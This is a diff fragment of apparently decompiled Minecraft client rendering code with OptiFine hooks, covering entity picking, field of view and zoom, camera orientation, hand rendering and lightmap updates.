+      else
+      {
+        if (var3 > 3.0D)
+        {
+          var5 = 3.0D;
+        }
+        
+        var3 = var5;
+      }
+      
+      if (mc.objectMouseOver != null)
+      {
+        var5 = mc.objectMouseOver.hitVec.distanceTo(var7);
+      }
+      
+      Vec3 var8 = var2.getLook(p_78473_1_);
+      Vec3 var9 = var7.addVector(xCoord * var3, yCoord * var3, zCoord * var3);
+      pointedEntity = null;
+      Vec3 var10 = null;
+      float var11 = 1.0F;
+      List var12 = mc.theWorld.getEntitiesWithinAABBExcludingEntity(var2, var2.getEntityBoundingBox().addCoord(xCoord * var3, yCoord * var3, zCoord * var3).expand(var11, var11, var11));
+      double var13 = var5;
+      
+      for (int var15 = 0; var15 < var12.size(); var15++)
+      {
+        Entity var16 = (Entity)var12.get(var15);
+        
+        if (var16.canBeCollidedWith())
+        {
+          float var17 = var16.getCollisionBorderSize();
+          AxisAlignedBB var18 = var16.getEntityBoundingBox().expand(var17, var17, var17);
+          MovingObjectPosition var19 = var18.calculateIntercept(var7, var9);
+          
+          if (var18.isVecInside(var7))
+          {
+            if ((0.0D < var13) || (var13 == 0.0D))
+            {
+              pointedEntity = var16;
+              var10 = var19 == null ? var7 : hitVec;
+              var13 = 0.0D;
+            }
+          }
+          else if (var19 != null)
+          {
+            double var20 = var7.distanceTo(hitVec);
+            
+            if ((var20 < var13) || (var13 == 0.0D))
+            {
+              boolean canRiderInteract = false;
+              
+              if (Reflector.ForgeEntity_canRiderInteract.exists())
+              {
+                canRiderInteract = Reflector.callBoolean(var16, Reflector.ForgeEntity_canRiderInteract, new Object[0]);
+              }
+              
+              if ((var16 == ridingEntity) && (!canRiderInteract))
+              {
+                if (var13 == 0.0D)
+                {
+                  pointedEntity = var16;
+                  var10 = hitVec;
+                }
+              }
+              else
+              {
+                pointedEntity = var16;
+                var10 = hitVec;
+                var13 = var20;
+              }
+            }
+          }
+        }
+      }
+      
+      if ((pointedEntity != null) && ((var13 < var5) || (mc.objectMouseOver == null)))
+      {
+        mc.objectMouseOver = new MovingObjectPosition(pointedEntity, var10);
+        
+        if (((pointedEntity instanceof EntityLivingBase)) || ((pointedEntity instanceof net.minecraft.entity.item.EntityItemFrame)))
+        {
+          mc.pointedEntity = pointedEntity;
+        }
+      }
+      
+      mc.mcProfiler.endSection();
+    }
+  }
+  
+
+
+
+  private void updateFovModifierHand()
+  {
+    float var1 = 1.0F;
+    
+    if ((mc.func_175606_aa() instanceof AbstractClientPlayer))
+    {
+      AbstractClientPlayer var2 = (AbstractClientPlayer)mc.func_175606_aa();
+      var1 = var2.func_175156_o();
+    }
+    
+    fovModifierHandPrev = fovModifierHand;
+    fovModifierHand += (var1 - fovModifierHand) * 0.5F;
+    
+    if (fovModifierHand > 1.5F)
+    {
+      fovModifierHand = 1.5F;
+    }
+    
+    if (fovModifierHand < 0.1F)
+    {
+      fovModifierHand = 0.1F;
+    }
+  }
+  
+
+
+
+  public float getFOVModifier(float partialTicks, boolean p_78481_2_)
+  {
+    if (field_175078_W)
+    {
+      return 90.0F;
+    }
+    
+
+    Entity var3 = mc.func_175606_aa();
+    float var4 = 70.0F;
+    
+    if (p_78481_2_)
+    {
+      var4 = mc.gameSettings.fovSetting;
+      
+      if (Config.isDynamicFov())
+      {
+        var4 *= (fovModifierHandPrev + (fovModifierHand - fovModifierHandPrev) * partialTicks);
+      }
+    }
+    
+    boolean zoomActive = false;
+    
+    if (mc.currentScreen == null)
+    {
+      GameSettings var10000 = mc.gameSettings;
+      zoomActive = GameSettings.isKeyDown(mc.gameSettings.ofKeyBindZoom);
+    }
+    
+    if (zoomActive)
+    {
+      if (!Config.zoomMode)
+      {
+        Config.zoomMode = true;
+        mc.gameSettings.smoothCamera = true;
+      }
+      
+      if (Config.zoomMode)
+      {
+        var4 /= 4.0F;
+      }
+    }
+    else if (Config.zoomMode)
+    {
+      Config.zoomMode = false;
+      mc.gameSettings.smoothCamera = false;
+      mouseFilterXAxis = new MouseFilter();
+      mouseFilterYAxis = new MouseFilter();
+      mc.renderGlobal.displayListEntitiesDirty = true;
+    }
+    
+    if (((var3 instanceof EntityLivingBase)) && (((EntityLivingBase)var3).getHealth() <= 0.0F))
+    {
+      float var6 = deathTime + partialTicks;
+      var4 /= ((1.0F - 500.0F / (var6 + 500.0F)) * 2.0F + 1.0F);
+    }
+    
+    Block var61 = ActiveRenderInfo.func_180786_a(mc.theWorld, var3, partialTicks);
+    
+    if (var61.getMaterial() == Material.water)
+    {
+      var4 = var4 * 60.0F / 70.0F;
+    }
+    
+    return var4;
+  }
+  
+
+  private void hurtCameraEffect(float p_78482_1_)
+  {
+    if ((mc.func_175606_aa() instanceof EntityLivingBase))
+    {
+      EntityLivingBase var2 = (EntityLivingBase)mc.func_175606_aa();
+      float var3 = hurtTime - p_78482_1_;
+      
+
+      if (var2.getHealth() <= 0.0F)
+      {
+        float var4 = deathTime + p_78482_1_;
+        GlStateManager.rotate(40.0F - 8000.0F / (var4 + 200.0F), 0.0F, 0.0F, 1.0F);
+      }
+      
+      if (var3 < 0.0F)
+      {
+        return;
+      }
+      
+      var3 /= maxHurtTime;
+      var3 = MathHelper.sin(var3 * var3 * var3 * var3 * 3.1415927F);
+      float var4 = attackedAtYaw;
+      GlStateManager.rotate(-var4, 0.0F, 1.0F, 0.0F);
+      GlStateManager.rotate(-var3 * 14.0F, 0.0F, 0.0F, 1.0F);
+      GlStateManager.rotate(var4, 0.0F, 1.0F, 0.0F);
+    }
+  }
+  
+
+
+
+  private void setupViewBobbing(float p_78475_1_)
+  {
+    if ((mc.func_175606_aa() instanceof EntityPlayer))
+    {
+      EntityPlayer var2 = (EntityPlayer)mc.func_175606_aa();
+      float var3 = distanceWalkedModified - prevDistanceWalkedModified;
+      float var4 = -(distanceWalkedModified + var3 * p_78475_1_);
+      float var5 = prevCameraYaw + (cameraYaw - prevCameraYaw) * p_78475_1_;
+      float var6 = prevCameraPitch + (cameraPitch - prevCameraPitch) * p_78475_1_;
+      GlStateManager.translate(MathHelper.sin(var4 * 3.1415927F) * var5 * 0.5F, -Math.abs(MathHelper.cos(var4 * 3.1415927F) * var5), 0.0F);
+      GlStateManager.rotate(MathHelper.sin(var4 * 3.1415927F) * var5 * 3.0F, 0.0F, 0.0F, 1.0F);
+      GlStateManager.rotate(Math.abs(MathHelper.cos(var4 * 3.1415927F - 0.2F) * var5) * 5.0F, 1.0F, 0.0F, 0.0F);
+      GlStateManager.rotate(var6, 1.0F, 0.0F, 0.0F);
+    }
+  }
+  
+
+
+
+  public void orientCamera(float p_78467_1_)
+  {
+    Entity var2 = mc.func_175606_aa();
+    float var3 = var2.getEyeHeight();
+    double var4 = prevPosX + (posX - prevPosX) * p_78467_1_;
+    double var6 = prevPosY + (posY - prevPosY) * p_78467_1_ + var3;
+    double var8 = prevPosZ + (posZ - prevPosZ) * p_78467_1_;
+    
+
+
+    if (((var2 instanceof EntityLivingBase)) && (((EntityLivingBase)var2).isPlayerSleeping()))
+    {
+      var3 = (float)(var3 + 1.0D);
+      GlStateManager.translate(0.0F, 0.3F, 0.0F);
+      
+      if (!mc.gameSettings.debugCamEnable)
+      {
+        BlockPos var27 = new BlockPos(var2);
+        IBlockState partialTicks = mc.theWorld.getBlockState(var27);
+        Block var29 = partialTicks.getBlock();
+        
+        if (Reflector.ForgeHooksClient_orientBedCamera.exists())
+        {
+          Reflector.callVoid(Reflector.ForgeHooksClient_orientBedCamera, new Object[] { mc.theWorld, var27, partialTicks, var2 });
+        }
+        else if (var29 == net.minecraft.init.Blocks.bed)
+        {
+          int var30 = ((EnumFacing)partialTicks.getValue(BlockBed.AGE)).getHorizontalIndex();
+          GlStateManager.rotate(var30 * 90, 0.0F, 1.0F, 0.0F);
+        }
+        
+        GlStateManager.rotate(prevRotationYaw + (rotationYaw - prevRotationYaw) * p_78467_1_ + 180.0F, 0.0F, -1.0F, 0.0F);
+        GlStateManager.rotate(prevRotationPitch + (rotationPitch - prevRotationPitch) * p_78467_1_, -1.0F, 0.0F, 0.0F);
+      }
+    }
+    else if (mc.gameSettings.thirdPersonView > 0)
+    {
+      double var28 = thirdPersonDistanceTemp + (thirdPersonDistance - thirdPersonDistanceTemp) * p_78467_1_;
+      
+      if (mc.gameSettings.debugCamEnable)
+      {
+        GlStateManager.translate(0.0F, 0.0F, (float)-var28);
+      }
+      else
+      {
+        float yaw = rotationYaw;
+        float pitch = rotationPitch;
+        
+        if (mc.gameSettings.thirdPersonView == 2)
+        {
+          pitch += 180.0F;
+        }
+        
+        double roll = -MathHelper.sin(yaw / 180.0F * 3.1415927F) * MathHelper.cos(pitch / 180.0F * 3.1415927F) * var28;
+        double event = MathHelper.cos(yaw / 180.0F * 3.1415927F) * MathHelper.cos(pitch / 180.0F * 3.1415927F) * var28;
+        double var18 = -MathHelper.sin(pitch / 180.0F * 3.1415927F) * var28;
+        
+        for (int var20 = 0; var20 < 8; var20++)
+        {
+          float var21 = (var20 & 0x1) * 2 - 1;
+          float var22 = (var20 >> 1 & 0x1) * 2 - 1;
+          float var23 = (var20 >> 2 & 0x1) * 2 - 1;
+          var21 *= 0.1F;
+          var22 *= 0.1F;
+          var23 *= 0.1F;
+          MovingObjectPosition var24 = mc.theWorld.rayTraceBlocks(new Vec3(var4 + var21, var6 + var22, var8 + var23), new Vec3(var4 - roll + var21 + var23, var6 - var18 + var22, var8 - event + var23));
+          
+          if (var24 != null)
+          {
+            double var25 = hitVec.distanceTo(new Vec3(var4, var6, var8));
+            
+            if (var25 < var28)
+            {
+              var28 = var25;
+            }
+          }
+        }
+        
+        if (mc.gameSettings.thirdPersonView == 2)
+        {
+          GlStateManager.rotate(180.0F, 0.0F, 1.0F, 0.0F);
+        }
+        
+        GlStateManager.rotate(rotationPitch - pitch, 1.0F, 0.0F, 0.0F);
+        GlStateManager.rotate(rotationYaw - yaw, 0.0F, 1.0F, 0.0F);
+        GlStateManager.translate(0.0F, 0.0F, (float)-var28);
+        GlStateManager.rotate(yaw - rotationYaw, 0.0F, 1.0F, 0.0F);
+        GlStateManager.rotate(pitch - rotationPitch, 1.0F, 0.0F, 0.0F);
+      }
+    }
+    else
+    {
+      GlStateManager.translate(0.0F, 0.0F, -0.1F);
+    }
+    
+    if (Reflector.EntityViewRenderEvent_CameraSetup_Constructor.exists())
+    {
+      if (!mc.gameSettings.debugCamEnable)
+      {
+        float yaw = prevRotationYaw + (rotationYaw - prevRotationYaw) * p_78467_1_ + 180.0F;
+        float pitch = prevRotationPitch + (rotationPitch - prevRotationPitch) * p_78467_1_;
+        float var31 = 0.0F;
+        
+        if ((var2 instanceof EntityAnimal))
+        {
+          EntityAnimal block = (EntityAnimal)var2;
+          yaw = prevRotationYawHead + (rotationYawHead - prevRotationYawHead) * p_78467_1_ + 180.0F;
+        }
+        
+        Block var32 = ActiveRenderInfo.func_180786_a(mc.theWorld, var2, p_78467_1_);
+        Object var33 = Reflector.newInstance(Reflector.EntityViewRenderEvent_CameraSetup_Constructor, new Object[] { this, var2, var32, Float.valueOf(p_78467_1_), Float.valueOf(yaw), Float.valueOf(pitch), Float.valueOf(var31) });
+        Reflector.postForgeBusEvent(var33);
+        var31 = Reflector.getFieldValueFloat(var33, Reflector.EntityViewRenderEvent_CameraSetup_roll, var31);
+        pitch = Reflector.getFieldValueFloat(var33, Reflector.EntityViewRenderEvent_CameraSetup_pitch, pitch);
+        yaw = Reflector.getFieldValueFloat(var33, Reflector.EntityViewRenderEvent_CameraSetup_yaw, yaw);
+        GlStateManager.rotate(var31, 0.0F, 0.0F, 1.0F);
+        GlStateManager.rotate(pitch, 1.0F, 0.0F, 0.0F);
+        GlStateManager.rotate(yaw, 0.0F, 1.0F, 0.0F);
+      }
+    }
+    else if (!mc.gameSettings.debugCamEnable)
+    {
+      GlStateManager.rotate(prevRotationPitch + (rotationPitch - prevRotationPitch) * p_78467_1_, 1.0F, 0.0F, 0.0F);
+      
+      if ((var2 instanceof EntityAnimal))
+      {
+        EntityAnimal var281 = (EntityAnimal)var2;
+        GlStateManager.rotate(prevRotationYawHead + (rotationYawHead - prevRotationYawHead) * p_78467_1_ + 180.0F, 0.0F, 1.0F, 0.0F);
+      }
+      else
+      {
+        GlStateManager.rotate(prevRotationYaw + (rotationYaw - prevRotationYaw) * p_78467_1_ + 180.0F, 0.0F, 1.0F, 0.0F);
+      }
+    }
+    
+    GlStateManager.translate(0.0F, -var3, 0.0F);
+    var4 = prevPosX + (posX - prevPosX) * p_78467_1_;
+    var6 = prevPosY + (posY - prevPosY) * p_78467_1_ + var3;
+    var8 = prevPosZ + (posZ - prevPosZ) * p_78467_1_;
+    cloudFog = mc.renderGlobal.hasCloudFog(var4, var6, var8, p_78467_1_);
+  }
+  
+
+
+
+  public void setupCameraTransform(float partialTicks, int pass)
+  {
+    farPlaneDistance = (mc.gameSettings.renderDistanceChunks * 16);
+    
+    if (Config.isFogFancy())
+    {
+      farPlaneDistance *= 0.95F;
+    }
+    
+    if (Config.isFogFast())
+    {
+      farPlaneDistance *= 0.83F;
+    }
+    
+    GlStateManager.matrixMode(5889);
+    GlStateManager.loadIdentity();
+    float var3 = 0.07F;
+    
+    if (mc.gameSettings.anaglyph)
+    {
+      GlStateManager.translate(-(pass * 2 - 1) * var3, 0.0F, 0.0F);
+    }
+    
+    clipDistance = (farPlaneDistance * 2.0F);
+    
+    if (clipDistance < 173.0F)
+    {
+      clipDistance = 173.0F;
+    }
+    
+    if (mc.theWorld.provider.getDimensionId() == 1)
+    {
+      clipDistance = 256.0F;
+    }
+    
+    if (cameraZoom != 1.0D)
+    {
+      GlStateManager.translate((float)cameraYaw, (float)-cameraPitch, 0.0F);
+      GlStateManager.scale(cameraZoom, cameraZoom, 1.0D);
+    }
+    
+    Project.gluPerspective(getFOVModifier(partialTicks, true), mc.displayWidth / mc.displayHeight, 0.05F, clipDistance);
+    GlStateManager.matrixMode(5888);
+    GlStateManager.loadIdentity();
+    
+    if (mc.gameSettings.anaglyph)
+    {
+      GlStateManager.translate((pass * 2 - 1) * 0.1F, 0.0F, 0.0F);
+    }
+    
+    hurtCameraEffect(partialTicks);
+    
+    if (mc.gameSettings.viewBobbing)
+    {
+      setupViewBobbing(partialTicks);
+    }
+    
+    float var4 = mc.thePlayer.prevTimeInPortal + (mc.thePlayer.timeInPortal - mc.thePlayer.prevTimeInPortal) * partialTicks;
+    
+    if (var4 > 0.0F)
+    {
+      byte var5 = 20;
+      
+      if (mc.thePlayer.isPotionActive(Potion.confusion))
+      {
+        var5 = 7;
+      }
+      
+      float var6 = 5.0F / (var4 * var4 + 5.0F) - var4 * 0.04F;
+      var6 *= var6;
+      GlStateManager.rotate((rendererUpdateCount + partialTicks) * var5, 0.0F, 1.0F, 1.0F);
+      GlStateManager.scale(1.0F / var6, 1.0F, 1.0F);
+      GlStateManager.rotate(-(rendererUpdateCount + partialTicks) * var5, 0.0F, 1.0F, 1.0F);
+    }
+    
+    orientCamera(partialTicks);
+    
+    if (field_175078_W)
+    {
+      switch (field_175079_V)
+      {
+      case 0: 
+        GlStateManager.rotate(90.0F, 0.0F, 1.0F, 0.0F);
+        break;
+      
+      case 1: 
+        GlStateManager.rotate(180.0F, 0.0F, 1.0F, 0.0F);
+        break;
+      
+      case 2: 
+        GlStateManager.rotate(-90.0F, 0.0F, 1.0F, 0.0F);
+        break;
+      
+      case 3: 
+        GlStateManager.rotate(90.0F, 1.0F, 0.0F, 0.0F);
+        break;
+      
+      case 4: 
+        GlStateManager.rotate(-90.0F, 1.0F, 0.0F, 0.0F);
+      }
+      
+    }
+  }
+  
+
+
+  public void renderHand(float p_78476_1_, int p_78476_2_)
+  {
+    if (!field_175078_W)
+    {
+      GlStateManager.matrixMode(5889);
+      GlStateManager.loadIdentity();
+      float var3 = 0.07F;
+      
+      if (mc.gameSettings.anaglyph)
+      {
+        GlStateManager.translate(-(p_78476_2_ * 2 - 1) * var3, 0.0F, 0.0F);
+      }
+      
+      if (Config.isShaders())
+      {
+        Shaders.applyHandDepth();
+      }
+      
+      Project.gluPerspective(getFOVModifier(p_78476_1_, false), mc.displayWidth / mc.displayHeight, 0.05F, farPlaneDistance * 2.0F);
+      GlStateManager.matrixMode(5888);
+      GlStateManager.loadIdentity();
+      
+      if (mc.gameSettings.anaglyph)
+      {
+        GlStateManager.translate((p_78476_2_ * 2 - 1) * 0.1F, 0.0F, 0.0F);
+      }
+      
+      boolean var4 = false;
+      
+      if ((!Config.isShaders()) || (!Shaders.isHandRendered))
+      {
+        GlStateManager.pushMatrix();
+        hurtCameraEffect(p_78476_1_);
+        
+        if (mc.gameSettings.viewBobbing)
+        {
+          setupViewBobbing(p_78476_1_);
+        }
+        
+        var4 = ((mc.func_175606_aa() instanceof EntityLivingBase)) && (((EntityLivingBase)mc.func_175606_aa()).isPlayerSleeping());
+        
+        if ((mc.gameSettings.thirdPersonView == 0) && (!var4) && (!mc.gameSettings.hideGUI) && (!mc.playerController.enableEverythingIsScrewedUpMode()))
+        {
+          func_180436_i();
+          
+          if (Config.isShaders())
+          {
+            ShadersRender.renderItemFP(itemRenderer, p_78476_1_);
+          }
+          else
+          {
+            itemRenderer.renderItemInFirstPerson(p_78476_1_);
+          }
+          
+          func_175072_h();
+        }
+        
+        GlStateManager.popMatrix();
+      }
+      
+      if ((Config.isShaders()) && (!Shaders.isCompositeRendered))
+      {
+        return;
+      }
+      
+      func_175072_h();
+      
+      if ((mc.gameSettings.thirdPersonView == 0) && (!var4))
+      {
+        itemRenderer.renderOverlays(p_78476_1_);
+        hurtCameraEffect(p_78476_1_);
+      }
+      
+      if (mc.gameSettings.viewBobbing)
+      {
+        setupViewBobbing(p_78476_1_);
+      }
+    }
+  }
+  
+  public void func_175072_h()
+  {
+    GlStateManager.setActiveTexture(OpenGlHelper.lightmapTexUnit);
+    GlStateManager.func_179090_x();
+    GlStateManager.setActiveTexture(OpenGlHelper.defaultTexUnit);
+    
+    if (Config.isShaders())
+    {
+      Shaders.disableLightmap();
+    }
+  }
+  
+  public void func_180436_i()
+  {
+    GlStateManager.setActiveTexture(OpenGlHelper.lightmapTexUnit);
+    GlStateManager.matrixMode(5890);
+    GlStateManager.loadIdentity();
+    float var1 = 0.00390625F;
+    GlStateManager.scale(var1, var1, var1);
+    GlStateManager.translate(8.0F, 8.0F, 8.0F);
+    GlStateManager.matrixMode(5888);
+    mc.getTextureManager().bindTexture(locationLightMap);
+    GL11.glTexParameteri(3553, 10241, 9729);
+    GL11.glTexParameteri(3553, 10240, 9729);
+    GL11.glTexParameteri(3553, 10242, 10496);
+    GL11.glTexParameteri(3553, 10243, 10496);
+    GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+    GlStateManager.func_179098_w();
+    GlStateManager.setActiveTexture(OpenGlHelper.defaultTexUnit);
+    
+    if (Config.isShaders())
+    {
+      Shaders.enableLightmap();
+    }
+  }
+  
+
+
+
+  private void updateTorchFlicker()
+  {
+    field_175075_L = ((float)(field_175075_L + (Math.random() - Math.random()) * Math.random() * Math.random()));
+    field_175075_L = ((float)(field_175075_L * 0.9D));
+    torchFlickerX += (field_175075_L - torchFlickerX) * 1.0F;
+    lightmapUpdateNeeded = true;
+  }
+  
+  private void updateLightmap(float partialTicks)
+  {
+    if (lightmapUpdateNeeded)
+    {
+      mc.mcProfiler.startSection("lightTex");
+      WorldClient var2 = mc.theWorld;
+      
+      if (var2 != null)
+      {
+        if ((Config.isCustomColors()) && (CustomColors.updateLightmap(var2, torchFlickerX, lightmapColors, mc.thePlayer.isPotionActive(Potion.nightVision))))
+        {
+          lightmapTexture.updateDynamicTexture();
+          lightmapUpdateNeeded = false;
+          mc.mcProfiler.endSection();
+          return;
+        }
+        
+        for (int var3 = 0; var3 < 256; var3++)
+        {
+          float var4 = var2.getSunBrightness(1.0F) * 0.95F + 0.05F;
+          float var5 = provider.getLightBrightnessTable()[(var3 / 16)] * var4;
+          float var6 = provider.getLightBrightnessTable()[(var3 % 16)] * (torchFlickerX * 0.1F + 1.5F);
+          
+          if (var2.func_175658_ac() > 0)
+          {
+            var5 = provider.getLightBrightnessTable()[(var3 / 16)];
+          }
+          
+          float var7 = var5 * (var2.getSunBrightness(1.0F) * 0.65F + 0.35F);
+          float var8 = var5 * (var2.getSunBrightness(1.0F) * 0.65F + 0.35F);
+          float var11 = var6 * ((var6 * 0.6F + 0.4F) * 0.6F + 0.4F);
+          float var12 = var6 * (var6 * var6 * 0.6F + 0.4F);
+          float var13 = var7 + var6;
+          float var14 = var8 + var11;
+          float var15 = var5 + var12;
+          var13 = var13 * 0.96F + 0.03F;
+          var14 = var14 * 0.96F + 0.03F;
+          var15 = var15 * 0.96F + 0.03F;
+          
+
+          if (bossColorModifier > 0.0F)
+          {
+            float var16 = bossColorModifierPrev + (bossColorModifier - bossColorModifierPrev) * partialTicks;
+            var13 = var13 * (1.0F - var16) + var13 * 0.7F * var16;
+            var14 = var14 * (1.0F - var16) + var14 * 0.6F * var16;
+            var15 = var15 * (1.0F - var16) + var15 * 0.6F * var16;
+          }
+          
+          if (provider.getDimensionId() == 1)
+          {
+            var13 = 0.22F + var6 * 0.75F;
+            var14 = 0.28F + var11 * 0.75F;
+            var15 = 0.25F + var12 * 0.75F;
+          }
+          
+
+
+          if (mc.thePlayer.isPotionActive(Potion.nightVision))
+          {
+            float var16 = func_180438_a(mc.thePlayer, partialTicks);
+            float var17 = 1.0F / var13;
+            
+            if (var17 > 1.0F / var14)
+            {
+              var17 = 1.0F / var14;
+            }
+            
+            if (var17 > 1.0F / var15)
+            {
+              var17 = 1.0F / var15;
+            }
+            
+            var13 = var13 * (1.0F - var16) + var13 * var17 * var16;
+            var14 = var14 * (1.0F - var16) + var14 * var17 * var16;
+            var15 = var15 * (1.0F - var16) + var15 * var17 * var16;
+          }
+          
+          if (var13 > 1.0F)
+          {
+            var13 = 1.0F;
+          }
+          
+          if (var14 > 1.0F)
+          {
+            var14 = 1.0F;
+          }
+          
+          if (var15 > 1.0F)
+          {
+            var15 = 1.0F;
+          }
+          
+          float var16 = mc.gameSettings.gammaSetting;
+          float var17 = 1.0F - var13;
+          float var18 = 1.0F - var14;
+          float var19 = 1.0F - var15;
+          var17 = 1.0F - var17 * var17 * var17 * var17;
+          var18 = 1.0F - var18 * var18 * var18 * var18;
+          var19 = 1.0F - var19 * var19 * var19 * var19;
+          var13 = var13 * (1.0F - var16) + var17 * var16;
+          var14 = var14 * (1.0F - var16) + var18 * var16;
+          var15 = var15 * (1.0F - var16) + var19 * var16;
+          var13 = var13 * 0.96F + 0.03F;
+          var14 = var14 * 0.96F + 0.03F;
+          var15 = var15 * 0.96F + 0.03F;
+          
+          if (var13 > 1.0F)
+          {
+            var13 = 1.0F;
+          }
+          
+          if (var14 > 1.0F)
+          {
+            var14 = 1.0F;
+          }
+          
+          if (var15 > 1.0F)
+          {
+            var15 = 1.0F;
+          }
+          
+          if (var13 < 0.0F)
+          {
+            var13 = 0.0F;
+          }
+          
+          if (var14 < 0.0F)
+          {
+            var14 = 0.0F;
+          }
+          
+          if (var15 < 0.0F)
+          {
+            var15 = 0.0F;
+          }
+          
+          short var20 = 255;
+          int var21 = (int)(var13 * 255.0F);
+          int var22 = (int)(var14 * 255.0F);
+          int var23 = (int)(var15 * 255.0F);
+          lightmapColors[var3] = (var20 << 24 | var21 << 16 | var22 << 8 | var23);
+        }
+        
+        lightmapTexture.updateDynamicTexture();
+        lightmapUpdateNeeded = false;
+        mc.mcProfiler.endSection();
+      }
+    }
+  }
+  
+  private float func_180438_a(EntityLivingBase p_180438_1_, float partialTicks)
+  {
+    int var3 = p_180438_1_.getActivePotionEffect(Potion.nightVision).getDuration();
+    return var3 > 200 ? 1.0F : 0.7F + MathHelper.sin((var3 - partialTicks) * 3.1415927F * 0.2F) * 0.3F;
+  }
+  
+
+
+
+  public void updateCameraAndRender(float partialTicks)
+  {
+    frameInit();
+    boolean var2 = Display.isActive();
+    
+    if ((!var2) && (mc.gameSettings.pauseOnLostFocus) && ((!mc.gameSettings.touchscreen) || (!Mouse.isButtonDown(1))))
+    {
+      if (Minecraft.getSystemTime() - prevFrameTime > 500L)
+      {
+        mc.displayInGameMenu();
+      }
+      
+    }
+    else {
+      prevFrameTime = Minecraft.getSystemTime();
+    }
+    
+    mc.mcProfiler.startSection("mouse");
+    
+    if ((var2) && (Minecraft.isRunningOnMac) && (mc.inGameHasFocus) && (!Mouse.isInsideWindow()))
+    {
+      Mouse.setGrabbed(false);
+      Mouse.setCursorPosition(Display.getWidth() / 2, Display.getHeight() / 2);
+      Mouse.setGrabbed(true);
+    }
+    
+    if ((mc.inGameHasFocus) && (var2))
+    {
+      mc.mouseHelper.mouseXYChange();
+      float var13 = mc.gameSettings.mouseSensitivity * 0.6F + 0.2F;
+      float var14 = var13 * var13 * var13 * 8.0F;
+      float var15 = mc.mouseHelper.deltaX * var14;
+      float var16 = mc.mouseHelper.deltaY * var14;
+      byte var17 = 1;
+      
+      if (mc.gameSettings.invertMouse)
+      {
+        var17 = -1;
+      }
+      
+      if (mc.gameSettings.smoothCamera)
+      {
+        smoothCamYaw += var15;
+        smoothCamPitch += var16;
+        float var18 = partialTicks - smoothCamPartialTicks;
+        smoothCamPartialTicks = partialTicks;
+        var15 = smoothCamFilterX * var18;
+        var16 = smoothCamFilterY * var18;
+        mc.thePlayer.setAngles(var15, var16 * var17);
+      }
+      else
+      {
+        smoothCamYaw = 0.0F;
+        smoothCamPitch = 0.0F;
+        mc.thePlayer.setAngles(var15, var16 * var17);
+      }
+    }
+    
+    mc.mcProfiler.endSection();
+    
+    if (!mc.skipRenderWorld)
+    {
+      anaglyphEnable = mc.gameSettings.anaglyph;
+      final ScaledResolution var131 = new ScaledResolution(mc);
+      int var141 = var131.getScaledWidth();
+      int var151 = var131.getScaledHeight();
+      final int var161 = Mouse.getX() * var141 / mc.displayWidth;
+      final int var171 = var151 - Mouse.getY() * var151 / mc.displayHeight - 1;
+      int var181 = mc.gameSettings.limitFramerate;
+      
+      if (mc.theWorld != null)
+      {
+        mc.mcProfiler.startSection("level");
+        int var12 = Math.max(Minecraft.func_175610_ah(), 30);
+        renderWorld(partialTicks, renderEndNanoTime + 1000000000 / var12);
+        
+        if (OpenGlHelper.shadersSupported)
+        {
+          mc.renderGlobal.func_174975_c();
+          
+          if ((theShaderGroup != null) && (field_175083_ad))
+          {
+            GlStateManager.matrixMode(5890);
+            GlStateManager.pushMatrix();
+            GlStateManager.loadIdentity();
+            theShaderGroup.loadShaderGroup(partialTicks);
+            GlStateManager.popMatrix();
+          }
+          
+          mc.getFramebuffer().bindFramebuffer(true);
+        }
+        
+        renderEndNanoTime = System.nanoTime();
+        mc.mcProfiler.endStartSection("gui");
+        
+        if ((!mc.gameSettings.hideGUI) || (mc.currentScreen != null))
+        {
+          GlStateManager.alphaFunc(516, 0.1F);
+          
+          mc.ingameGUI.func_175180_a(partialTicks);
+          
+          if ((mc.gameSettings.ofShowFps) && (!mc.gameSettings.showDebugInfo))
+          {
+            Config.drawFps();
+          }
+          
+          if (mc.gameSettings.showDebugInfo)
+          {
+            Lagometer.showLagometer(var131);
+          }
+        }
+        
+        mc.mcProfiler.endSection();
+
+      }
+      else
+      {
+        GlStateManager.viewport(0, 0, mc.displayWidth, mc.displayHeight);
+        GlStateManager.matrixMode(5889);
+        GlStateManager.loadIdentity();
+        GlStateManager.matrixMode(5888);
+        GlStateManager.loadIdentity();
+        setupOverlayRendering();
+        renderEndNanoTime = System.nanoTime();
+      }
+      
+      if (mc.currentScreen != null)
+      {
+        GlStateManager.clear(256);
+        
+        try
+        {
+          if (Reflector.ForgeHooksClient_drawScreen.exists())
+          {
+            Reflector.callVoid(Reflector.ForgeHooksClient_drawScreen, new Object[] { mc.currentScreen, Integer.valueOf(var161), Integer.valueOf(var171), Float.valueOf(partialTicks) });
+          }
+          else
+          {
+            mc.currentScreen.drawScreen(var161, var171, partialTicks);
+          }
+        }
+        catch (Throwable var121)
+        {
+          CrashReport var10 = CrashReport.makeCrashReport(var121, "Rendering screen");
+          CrashReportCategory var11 = var10.makeCategory("Screen render details");
+          var11.addCrashSectionCallable("Screen name", new Callable()
+          {
+            private static final String __OBFID = "CL_00000948";
+            
+            public String call() {
+              return mc.currentScreen.getClass().getCanonicalName();
+            }
+          });
+          var11.addCrashSectionCallable("Mouse location", new Callable()
+          {
+            private static final String __OBFID = "CL_00000950";
+            
+            public String call() {
+              return String.format("Scaled: (%d, %d). Absolute: (%d, %d)", new Object[] { Integer.valueOf(var161), Integer.valueOf(var171), Integer.valueOf(Mouse.getX()), Integer.valueOf(Mouse.getY()) });
+            }
+          });
+          var11.addCrashSectionCallable("Screen size", new Callable()
+          {
+            private static final String __OBFID = "CL_00000951";
+            
+            public String call() {
+              return String.format("Scaled: (%d, %d). Absolute: (%d, %d). Scale factor of %d", new Object[] { Integer.valueOf(var131.getScaledWidth()), Integer.valueOf(var131.getScaledHeight()), Integer.valueOf(mc.displayWidth), Integer.valueOf(mc.displayHeight), Integer.valueOf(var131.getScaleFactor()) });
+            }
+          });
+          throw new net.minecraft.util.ReportedException(var10);
+        }
+      }
+    }
+    
+    frameFinish();
+    waitForServerThread();
+    Lagometer.updateLagometer();
+    
+    if (mc.gameSettings.ofProfiler)
+    {
+      mc.gameSettings.showDebugProfilerChart = true;
+    }
+  }
+  
+  public void func_152430_c(float p_152430_1_)
+  {
+    setupOverlayRendering();
+    mc.ingameGUI.func_180478_c(new ScaledResolution(mc));
+  }
+  
+  private boolean func_175070_n()
+  {
+    if (!field_175073_D)
+    {
+      return false;
+    }
+    
+
+    Entity var1 = mc.func_175606_aa();
+    boolean var2 = ((var1 instanceof EntityPlayer)) && (!mc.gameSettings.hideGUI);
+    
+    if ((var2) && (!capabilities.allowEdit))
+    {
